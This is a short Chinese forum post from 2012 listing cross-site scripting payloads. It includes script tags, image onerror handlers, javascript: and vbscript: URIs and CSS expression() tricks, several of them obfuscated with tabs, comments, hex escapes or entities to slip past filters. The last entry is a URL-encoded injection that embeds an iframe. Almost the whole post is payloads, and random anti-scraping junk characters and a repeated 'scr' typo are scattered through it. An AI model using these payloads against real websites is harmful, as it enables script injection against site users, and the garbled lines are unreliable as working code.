<script>alert("跨站")</script> (最常用）, M& _# l# c& ~4 H' I1 w. G+ z( [0 o
<img scr=javascript:alert("跨站")></img>4 i4 W3 l7 ^0 W1 [. _
<img scr="javascript: alert(/跨站/)></img>
; j* q+ F8 U$ ~" F2 _<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）5 v. H4 {" u _0 b2 E
<img scr="#" onerror=alert(/跨站/)></img>0 {2 f7 r# ^8 o
<img scr="#" style="xss:expression(alert(/xss/));"></img>" ]- b1 {/ i6 k, r- c7 x! R1 q5 ]5 f
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）& l. W8 m& }, Q! J4 ~0 f" M
<img src=vbscript:msgbox ("xss")></img>
* X% g/ K$ |& _<style> input {left:expression (alert('xss'))}</style>
' L# `0 O0 I) ]6 ]& E<div style={left:expression (alert('xss'))}></div>5 _4 p1 y- i8 r# W: ?# Y
<div style={left:exp/* */ression (alert('xss'))}></div>
0 u; R9 M3 o) @<div style={left:\0065\0078ression (alert('xss'))}></div>. ]" h: _0 b( G7 V9 O7 Z. P* I
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>: ]6 J: h) E& m9 O
unicode <div style="{left:expRessioN (alert('xss'))}">
. X6 q) O3 ]0 X( }" n" d/ T% P7 G# F A! n3 P. C
"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["1 e2 ^0 Q& V$ ^+ }8 p$ B
|
发表于 2012-9-13 17:15:04
收藏
支持
反对